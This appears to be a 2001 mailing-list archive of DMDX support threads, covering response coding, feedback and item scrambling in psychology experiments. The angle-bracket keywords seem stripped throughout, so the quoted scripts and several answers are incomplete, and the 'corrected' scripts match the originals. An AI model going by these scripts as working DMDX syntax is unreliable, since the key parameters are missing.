Precedence: list Dear Jonathon, I am working on a script in which 2 images are simultaneously displayed, and the subject is required to determine which item he saw at study. I am having difficuly figuring out how correct/incorrect responses are output in DMDX. In my program I have specified the correct response for each item with the appropriate sign before the item number and also with mpr and mnr. Below is the parameter line and a portion of the script: 0 �Ready�; -1001 �WHICH OBJECT IS OLD?�/ * �jKCfountainO�, �jKCfruitS�* ; -1002 �WHICH SCENE IS OLD?�/ * �jDTplateO�, �jDTpineS�* ; When I look at the output file, I receive information about which button the subject pressed, but no information about whether or not this was a positive or negative item. Below is an example of the output: Item 1001 COT 0 2153.1 2153.1 +Button 0 Item 1002 COT 4277.06 0 1350.27 +Button 1 Any thoughts or suggestions would be greatly appreciated. Thanks, Scott Hayes >From DMDX-owner@psy1.psych.arizona.edu Tue Jun 19 18:12:46 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id SAA20708 for ; Tue, 19 Jun 2001 18:12:39 -0700 Received: (qmail 1745 invoked from network); 20 Jun 2001 01:12:37 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 20 Jun 2001 01:12:37 -0000 Message-Id: <5.1.0.14.2.20010619181001.009eed10@psy1.psych.arizona.edu> Date: Tue, 19 Jun 2001 18:12:57 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Correct/Incorrect Response Output In-Reply-To: <3B2FEC58.3871B847@u.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:20 PM 6/19/01 -0700, you wrote: >Dear Jonathon, > >I am working on a script in which 2 images are simultaneously displayed, >and the subject is required to determine which item he saw at study. I >am having difficuly figuring out how correct/incorrect responses are >output in DMDX. In my program I have specified the correct response for >each item with the appropriate sign before the item number and also with >mpr and mnr. Below is the parameter line and a portion of the script: > mouse> and , try just and see if that works. >+Button 0> > > >0 ""Ready""; >-1001 ""WHICH OBJECT IS OLD?""/ * > ""jKCfountainO"", >""jKCfruitS""* ; >-1002 ""WHICH SCENE IS OLD?""/ * > ""jDTplateO"", >""jDTpineS""* ; > >When I look at the output file, I receive information about which button >the subject pressed, but no information about whether or not this was a >positive or negative item. Below is an example of the output: >Item 1001 COT 0 2153.1 2153.1 +Button 0 >Item 1002 COT 4277.06 0 1350.27 +Button 1 > >Any thoughts or suggestions would be greatly appreciated. Actually, you don't want and , or the stuff at all, plain vanilla one of two responses should do you just fine. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you keep anything long enough, you can throw it away. >From DMDX-owner@psy1.psych.arizona.edu Tue Jun 19 20:18:43 2001 Received: from origin.psy.cuhk.edu.hk (origin.psy.cuhk.edu.hk [137.189.166.100]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA20994 for ; Tue, 19 Jun 2001 20:18:30 -0700 Received: from psywin98ky (dummy98.psy.cuhk.edu.hk [137.189.166.98]) by origin.psy.cuhk.edu.hk (980427.SGI.8.8.8/980728.SGI.AUTOCF) via SMTP id MAA76205 for ; Wed, 20 Jun 2001 12:42:11 +0800 (HKT) Message-ID: <004d01c0f938$0b524640$62a6bd89@psy.cuhk.edu.hk> From: ""Kylie LU"" To: ""DMDX mail list"" Subject: [DMDX] double responses and feedback Date: Wed, 20 Jun 2001 11:21:06 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear All, I am having problems using the input type keywords with double responses and feedback, wonder if anyone could advise me on these. My experiment include two sessions(For details, please read the script in the following). For the training session, four signals are presented randomly, only one response is required, the feedback display is required. For the test session, no feedback is required. Items 101-104 only require one response, items 105-108 require two responses. My questions are: 1. For the training session, there is NOT feedback. Even I use feedback setting before item 1: +1000 * "" Short: S, Long: L""/; How to set so that the feedback appear? 2. For items 105-108 of the test session, when two valid keys were pressed (eg.'SL'), the item did NOT continues on to the next until time out. How to set so that the item continues on to the next when two valid keys were pressed. I would be grateful for any help. Many Thanks, Kylie The following is the script: ============================================================================ ======== < 0 ""Press SPACEBAR to start Training Session""; +1000 * "" Short: S, Long: L""/; -1< ms% 3000> ""bsquare""/*/; +2< ms% 1100 > ""bsquare""/*/; -3 ""sin3000ms""/*/; +4 ""sin6000ms""/*/; 0 ""End of Trainning Session"", ""Press SPACEBAR to start Test Session""; -101< ms% 3670> ""bsquare""/* /; +102< ms% 5340> ""bsquare""/* /; -103 ""sin3670ms""/*/; +104 ""sin5340ms""/*/; -105 ""sin3000msp"" / ""bsquare""/* "" "" /; -106 ""sin5340msp"" / ""bsquare""/* "" "" /; -107 ""sin3000ms"" %50/ ""bsquare"" /*/; +108 ""sin6000ms"" %500/ ""bsquare"" /*/; 0 ""End of Test Session, Thank You!""; ============================================================================ ============ ================================= LU Nga Ping, Kylie Department of Psychology The Chinese University of Hong Kong Shatin, N.T., Hong Kong Phone: 2609-6446 Fax: 2603-5019 ================================= >From DMDX-owner@psy1.psych.arizona.edu Wed Jun 20 09:52:54 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA22529 for ; Wed, 20 Jun 2001 09:52:16 -0700 Received: (qmail 5805 invoked from network); 20 Jun 2001 16:52:12 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 20 Jun 2001 16:52:12 -0000 Message-Id: <5.1.0.14.2.20010620093358.009f2540@psy1.psych.arizona.edu> Date: Wed, 20 Jun 2001 09:52:31 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: double responses and feedback In-Reply-To: <004d01c0f938$0b524640$62a6bd89@psy.cuhk.edu.hk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:21 AM 6/20/01 +0800, you wrote: >Dear All, > >I am having problems using the input type keywords with double responses and >feedback, wonder if anyone could advise me on these. > >My experiment include two sessions(For details, please read the script in >the following). For the training session, four signals are presented >randomly, only one response is required, the feedback display is required. >For the test session, no feedback is required. Items 101-104 only require >one response, items 105-108 require two responses. > >My questions are: >1. For the training session, there is NOT feedback. Even I use feedback >setting before item 1: > >+1000 * "" Short: S, Long: L""/; > >How to set so that the feedback appear? You need in the body if the item file. While it isn't (but should be) noted in the docs by default turns on. >2. For items 105-108 of the test session, when two valid keys were pressed >(eg.'SL'), the item did NOT continues on to the next until time out. How to >set so that the item continues on to the next when two valid keys were >pressed. You can't do it, regular zillion responses is going to wait for the timeout to expire before moving on to the next item. In your case that's 20 seconds. Well, it would be if you didn't have in the parameter line, is for typed words and requires an enter key to finish an item's responses. Remove the , even if it is overridden by having in the items that follow, I can't begin to guess what your item file actually is after a multi-scrambling session -- assuming it does scramble at all, I don't see any S parameter in there anywhere, are you sure you need multi-scrambling? If you want to gather exactly two responses but not have to wait for the timeout to expire I suggest having two items, group them , specify a low and have the second item present a clockon. >I would be grateful for any help. > >Many Thanks, >Kylie > >The following is the script: >============================================================================ >======== > >+L> 255255255>< > >0 ""Press SPACEBAR to start Training Session""; >+1000 * "" Short: S, Long: L""/; > > > >-1< ms% 3000> ""bsquare""/*/; >+2< ms% 1100 > ""bsquare""/*/; >-3 ""sin3000ms""/*/; >+4 ""sin6000ms""/*/; > > >0 ""End of Trainning Session"", ""Press SPACEBAR to start >Test Session""; > > > >-101< ms% 3670> ""bsquare""/* /; >+102< ms% 5340> ""bsquare""/* /; > >-103 ""sin3670ms""/*/; >+104 ""sin5340ms""/*/; > >-105 ""sin3000msp"" / ""bsquare""/*3000> "" "" /; >-106 ""sin5340msp"" / ""bsquare""/*3000> "" "" /; > >-107 ""sin3000ms"" %50/ ""bsquare"" >/*/; >+108 ""sin6000ms"" %500/ ""bsquare"" >/*/; > > >0 ""End of Test Session, Thank You!""; > -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you keep anything long enough, you can throw it away. >From DMDX-owner@psy1.psych.arizona.edu Wed Jun 20 12:16:59 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA22973 for ; Wed, 20 Jun 2001 12:16:29 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3B2669E40008F98D for DMDX@psy1.psych.arizona.edu; Wed, 20 Jun 2001 12:16:28 -0700 Message-ID: <3B2669E60000547D@deimos.email.Arizona.EDU> Date: Wed, 20 Jun 2001 12:16:28 -0700 From: ""Keolani Taitano"" Subject: [DMDX] FW: Re: Correct/Incorrect Response Output To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""=========3B2669E60000547D/deimos.email.Arizona.EDU"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=========3B2669E60000547D/deimos.email.Arizona.EDU Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Does it matter that the scipt has a plus instead of minus in mapping the negative response here (')? I thought it had to be ''. Thanks. Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-626-8568 fax: 253-369-3571 --=========3B2669E60000547D/deimos.email.Arizona.EDU Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Received: from phobos.email.Arizona.EDU (128.196.133.165) by deimos.email.Arizona.EDU (5.1.056) id 3B2669E400080CC4; Tue, 19 Jun 2001 18:12:51 -0700 Received: from psy1.psych.arizona.edu (128.196.98.40) by phobos.email.Arizona.EDU (5.1.056) id 3B1F829C000D5165; Tue, 19 Jun 2001 18:12:51 -0700 Received: (from petidomo@localhost) by psy1.psych.arizona.edu (8.8.7/8.8.8) id SAA20712; Tue, 19 Jun 2001 18:12:42 -0700 X-Authentication-Warning: psy1.psych.arizona.edu: petidomo set sender to DMDX-owner@psy1.psych.arizona.edu using -f Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id SAA20708 for ; Tue, 19 Jun 2001 18:12:39 -0700 Received: (qmail 1745 invoked from network); 20 Jun 2001 01:12:37 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 20 Jun 2001 01:12:37 -0000 Message-Id: <5.1.0.14.2.20010619181001.009eed10@psy1.psych.arizona.edu> Date: Tue, 19 Jun 2001 18:12:57 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Correct/Incorrect Response Output In-Reply-To: <3B2FEC58.3871B847@u.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:20 PM 6/19/01 -0700, you wrote: >Dear Jonathon, > >I am working on a script in which 2 images are simultaneously displayed, >and the subject is required to determine which item he saw at study. I >am having difficuly figuring out how correct/incorrect responses are >output in DMDX. In my program I have specified the correct response for >each item with the appropriate sign before the item number and also with >mpr and mnr. Below is the parameter line and a portion of the script: > mouse> and , try just and see if that works. >+Button 0> > > >0 ""Ready""; >-1001 ""WHICH OBJECT IS OLD?""/ * > ""jKCfountainO"", >""jKCfruitS""* ; >-1002 ""WHICH SCENE IS OLD?""/ * > ""jDTplateO"", >""jDTpineS""* ; > >When I look at the output file, I receive information about which button >the subject pressed, but no information about whether or not this was a >positive or negative item. Below is an example of the output: >Item 1001 COT 0 2153.1 2153.1 +Button 0 >Item 1002 COT 4277.06 0 1350.27 +Button 1 > >Any thoughts or suggestions would be greatly appreciated. Actually, you don't want and , or the stuff at all, plain vanilla one of two responses should do you just fine. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you keep anything long enough, you can throw it away. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== --=========3B2669E60000547D/deimos.email.Arizona.EDU-- >From DMDX-owner@psy1.psych.arizona.edu Wed Jun 20 13:37:51 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA23195 for ; Wed, 20 Jun 2001 13:37:43 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3B2669E4000917C2 for DMDX@psy1.psych.arizona.edu; Wed, 20 Jun 2001 13:37:42 -0700 Message-Id: <5.1.0.14.2.20010620133729.009ee990@psy1.psych.arizona.edu> Date: Wed, 20 Jun 2001 13:38:25 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] FW: Re: Correct/Incorrect Response Output In-Reply-To: <3B2669E60000547D@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:16 PM 6/20/01 -0700, you wrote: >Does it matter that the scipt has a plus instead of minus in mapping the >negative response here (')? I thought it had to be '-Button 1>'. will record the time till the button was released. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Shaw's Principle: Build a system that even a fool can use, and only a fool will want to use it. >From DMDX-owner@psy1.psych.arizona.edu Wed Jun 20 20:07:45 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA23963; Wed, 20 Jun 2001 20:07:19 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3B2669E4000986F6; Wed, 20 Jun 2001 20:07:18 -0700 Message-ID: <3B2669E600005AA4@deimos.email.Arizona.EDU> Date: Wed, 20 Jun 2001 20:07:18 -0700 In-Reply-To: <5.1.0.14.2.20010620133729.009ee990@psy1.psych.arizona.edu> From: ""Keolani Taitano"" Subject: [DMDX] RE: FW: Re: Correct/Incorrect Response Output To: DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hmmm . . . When I use I get time until both button press and time until button release, as I do for : . . . Item 1019, COT 94595.80 1484.36,+Bit4 1807.07,-Bit4 Item 1020, COT 99634.23 1155.84,+Bit2 1470.80,-Bit2 . . . I hope these pluses and minuses still refer to presses and releases. -- Original Message -- >At 12:16 PM 6/20/01 -0700, you wrote: >>Does it matter that the scipt has a plus instead of minus in mapping the >>negative response here (')? I thought it had to be '>-Button 1>'. > > will record the time till the button was released. > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > >Shaw's Principle: > Build a system that even a fool can use, and only a fool will >want to use it. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-626-8568 fax: 253-369-3571 >From DMDX-owner@psy1.psych.arizona.edu Wed Jun 20 23:25:42 2001 Received: from origin.psy.cuhk.edu.hk (origin.psy.cuhk.edu.hk [137.189.166.100]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id XAA24319 for ; Wed, 20 Jun 2001 23:25:27 -0700 Received: from psywin98ky (dummy98.psy.cuhk.edu.hk [137.189.166.98]) by origin.psy.cuhk.edu.hk (980427.SGI.8.8.8/980728.SGI.AUTOCF) via SMTP id PAA31224 for ; Thu, 21 Jun 2001 15:48:57 +0800 (HKT) Message-ID: <009f01c0fa1b$4b7fc6a0$62a6bd89@psy.cuhk.edu.hk> From: ""Kylie LU"" To: References: <5.1.0.14.2.20010620093358.009f2540@psy1.psych.arizona.edu> Subject: [DMDX] Re: double responses and feedback Date: Thu, 21 Jun 2001 14:27:49 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Jonathon, Thanks a lot for your advice. I tried to follow your suggestion: >If you want to gather exactly two responses but not have to wait for the > timeout to expire I suggest having two items, group them , specify a > low and have the second item present a clockon. Now, I have facing another problem of multi-scrambling. As I mentioned before, my experiment includes two sessions(For details, please read the script in the following). The first session are presented before second session. For the first session, four items are presented randomly. For the second session, eight items are presented randomly but item 2002 must follow item 2001, item 2012 must follow item 2011. My question is: For the second session, eight items are presented randomly but item 2002 must follow item 2001, item 2012 must follow item 2011. Can I do it? How to do it? Many Thanks, Kylie The following is the script: ============================================================================ 0 ""instructions""; +1001 * ""A1"" /; +1002 * ""A2"" /; +1003 * ""A3"" /; +1004 * ""A4"" /; +2001 * ""C1"" /; +2002 * ""C2"" /; +2011 * ""D1"" /; +2012 * ""D2"" /; +2020 * ""1"" /; +2030 * ""2"" /; +2040 * ""3"" /; +2050 * ""4"" /; +2060 * ""5"" /; +2070 * ""6"" /; 0 ""The end"" l; ============================================================================ ----- Original Message ----- From: j.c.f. To: Sent: Thursday, June 21, 2001 12:52 AM Subject: [DMDX] Re: double responses and feedback > At 11:21 AM 6/20/01 +0800, you wrote: > >Dear All, > > > >I am having problems using the input type keywords with double responses and > >feedback, wonder if anyone could advise me on these. > > > >My experiment include two sessions(For details, please read the script in > >the following). For the training session, four signals are presented > >randomly, only one response is required, the feedback display is required. > >For the test session, no feedback is required. Items 101-104 only require > >one response, items 105-108 require two responses. > > > >My questions are: > >1. For the training session, there is NOT feedback. Even I use feedback > >setting before item 1: > > > >+1000 * "" Short: S, Long: L""/; > > > >How to set so that the feedback appear? > > You need in the body if the item file. While it isn't (but > should be) noted in the docs by default turns on. > > >2. For items 105-108 of the test session, when two valid keys were pressed > >(eg.'SL'), the item did NOT continues on to the next until time out. How to > >set so that the item continues on to the next when two valid keys were > >pressed. > > You can't do it, regular zillion responses is going to wait for the > timeout to expire before moving on to the next item. In your case that's > 20 seconds. Well, it would be if you didn't have in the parameter > line, is for typed words and requires an enter key > to finish an item's responses. Remove the , even if it is > overridden by having in the items that follow, I can't begin to guess > what your item file actually is after a multi-scrambling session -- > assuming it does scramble at all, I don't see any S parameter in there > anywhere, are you sure you need multi-scrambling? > > If you want to gather exactly two responses but not have to wait for the > timeout to expire I suggest having two items, group them , specify a > low and have the second item present a clockon. > > > >I would be grateful for any help. > > > >Many Thanks, > >Kylie > > > >The following is the script: > >=========================================================================== = > >======== > > > > >+L> >255255255>< > > > >0 ""Press SPACEBAR to start Training Session""; > >+1000 * "" Short: S, Long: L""/; > > > > > > > >-1< ms% 3000> ""bsquare""/*/; > >+2< ms% 1100 > ""bsquare""/*/; > >-3 ""sin3000ms""/*/; > >+4 ""sin6000ms""/*/; > > > > > >0 ""End of Trainning Session"", ""Press SPACEBAR to start > >Test Session""; > > > > > > > >-101< ms% 3670> ""bsquare""/* /; > >+102< ms% 5340> ""bsquare""/* /; > > > >-103 ""sin3670ms""/*/; > >+104 ""sin5340ms""/*/; > > > >-105 ""sin3000msp"" / ""bsquare""/* >3000> "" "" /; > >-106 ""sin5340msp"" / ""bsquare""/* >3000> "" "" /; > > > >-107 ""sin3000ms"" %50/ ""bsquare"" > >/*/; > >+108 ""sin6000ms"" %500/ ""bsquare"" > >/*/; > > > > > >0 ""End of Test Session, Thank You!""; > > > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > If you keep anything long enough, you can throw it away. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 21 09:13:02 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA25447 for ; Thu, 21 Jun 2001 09:12:51 -0700 Received: (qmail 15982 invoked from network); 21 Jun 2001 16:12:48 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 21 Jun 2001 16:12:48 -0000 Message-Id: <5.1.0.14.2.20010621091042.009e5900@psy1.psych.arizona.edu> Date: Thu, 21 Jun 2001 09:13:07 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] RE: FW: Re: Correct/Incorrect Response Output In-Reply-To: <3B2669E600005AA4@deimos.email.Arizona.EDU> References: <5.1.0.14.2.20010620133729.009ee990@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:07 PM 6/20/01 -0700, you wrote: >Hmmm . . . When I use I get time until both button press and >time until button release, as I do for : > > . . . >Item 1019, COT 94595.80 > 1484.36,+Bit4 1807.07,-Bit4 >Item 1020, COT 99634.23 > 1155.84,+Bit2 1470.80,-Bit2 > . . . > >I hope these pluses and minuses still refer to presses and releases. Yes, that is because you haven't unmapped the default mappings, if you put a in there you'd only get the releases. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you keep anything long enough, you can throw it away. >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 21 09:29:51 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA25522 for ; Thu, 21 Jun 2001 09:29:45 -0700 Received: (qmail 24592 invoked from network); 21 Jun 2001 16:29:38 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 21 Jun 2001 16:29:38 -0000 Message-Id: <5.1.0.14.2.20010621091439.009f23d0@psy1.psych.arizona.edu> Date: Thu, 21 Jun 2001 09:29:57 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: double responses and feedback In-Reply-To: <009f01c0fa1b$4b7fc6a0$62a6bd89@psy.cuhk.edu.hk> References: <5.1.0.14.2.20010620093358.009f2540@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:27 PM 6/21/01 +0800, you wrote: >Dear Jonathon, > >Thanks a lot for your advice. > >I tried to follow your suggestion: > >If you want to gather exactly two responses but not have to wait for the > > timeout to expire I suggest having two items, group them , specify a > > low and have the second item present a clockon. > >Now, I have facing another problem of multi-scrambling. As I mentioned >before, my experiment includes two sessions(For details, please read the >script in the following). The first session are presented before second >session. For the first session, four items are presented randomly. For the >second session, eight items are presented randomly but item 2002 must follow >item 2001, item 2012 must follow item 2011. > >My question is: >For the second session, eight items are presented randomly but item 2002 >must follow item 2001, item 2012 must follow item 2011. Can I do it? How >to do it? Yes, perfectly possible, you want: 0 ""instructions""; +1001 * ""A1"" /; +1002 * ""A2"" /; +1003 * ""A3"" /; +1004 * ""A4"" /; +2001 * ""C1"" /; +2002 * ""C2"" /; +2011 * ""D1"" /; +2012 * ""D2"" /; +2020 * ""1"" /; +2030 * ""2"" /; +2040 * ""3"" /; +2050 * ""4"" /; +2060 * ""5"" /; +2070 * ""6"" /; 0 ""The end"" l; If you put more items in a later date but there is no particular clumping that you need then your S parameters should probably get the value 1 for both scrambles. >The following is the script: >============================================================================ > > > >0 ""instructions""; > > > >+1001 * ""A1"" /; >+1002 * ""A2"" /; >+1003 * ""A3"" /; >+1004 * ""A4"" /; > > >+2001 * ""C1"" /; >+2002 * ""C2"" /; > >+2011 * ""D1"" /; >+2012 * ""D2"" /; > >+2020 * ""1"" /; >+2030 * ""2"" /; >+2040 * ""3"" /; >+2050 * ""4"" /; >+2060 * ""5"" /; >+2070 * ""6"" /; > > >0 ""The end"" l; > >============================================================================ -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you keep anything long enough, you can throw it away. >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 21 10:49:39 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA25802; Thu, 21 Jun 2001 10:49:21 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3B2669E4000A2F49; Thu, 21 Jun 2001 10:49:19 -0700 Message-ID: <3B2669E600005F58@deimos.email.Arizona.EDU> Date: Thu, 21 Jun 2001 10:49:19 -0700 In-Reply-To: <5.1.0.14.2.20010621091042.009e5900@psy1.psych.arizona.edu> From: ""Keolani Taitano"" Subject: [DMDX] RE: RE: FW: Re: Correct/Incorrect Response Output To: DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list -- Original Message -- >At 08:07 PM 6/20/01 -0700, you wrote: >>Hmmm . . . When I use I get time until both button press and >>time until button release, as I do for : >> >> . . . >>Item 1019, COT 94595.80 >> 1484.36,+Bit4 1807.07,-Bit4 >>Item 1020, COT 99634.23 >> 1155.84,+Bit2 1470.80,-Bit2 >> . . . >> >>I hope these pluses and minuses still refer to presses and releases. > > Yes, that is because you haven't unmapped the default mappings, if you > >put a in there you'd only get the releases. > > I do unmap the positive and negative responses for every item: -1014 Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-626-8568 fax: 253-369-3571 >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 21 11:10:52 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA25910 for ; Thu, 21 Jun 2001 11:10:46 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3B2669E4000A384F for DMDX@psy1.psych.arizona.edu; Thu, 21 Jun 2001 11:10:45 -0700 Message-Id: <5.1.0.14.2.20010621110128.009eea50@psy1.psych.arizona.edu> Date: Thu, 21 Jun 2001 11:11:39 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: double responses and feedback In-Reply-To: <5.1.0.14.2.20010621091439.009f23d0@psy1.psych.arizona.edu> References: <009f01c0fa1b$4b7fc6a0$62a6bd89@psy.cuhk.edu.hk> <5.1.0.14.2.20010620093358.009f2540@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:29 AM 6/21/01 -0700, you wrote: > >0 ""instructions""; > > > > >+1001 * ""A1"" /; >+1002 * ""A2"" /; Although looking at again this won't work as the will move with the 1001 item during the first scramble thus demonstrating the deceptive nature of multi-scrambling. You'll probably want something like this instead that locks the second scramble delimiters down during the first scramble: 0 ""instructions""; +1001 * ""A1"" /; +1002 * ""A2"" /; +1003 * ""A3"" /; +1004 * ""A4"" /; +2001 * ""C1"" /; +2002 * ""C2"" /; +2011 * ""D1"" /; +2012 * ""D2"" /; +2020 * ""1"" /; +2030 * ""2"" /; +2040 * ""3"" /; +2050 * ""4"" /; +2060 * ""5"" /; +2070 * ""6"" /; 0 ""The end"" l; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Shaw's Principle: Build a system that even a fool can use, and only a fool will want to use it. >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 21 11:19:43 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA25970 for ; Thu, 21 Jun 2001 11:19:37 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3B2669E4000A3B9B for DMDX@psy1.psych.arizona.edu; Thu, 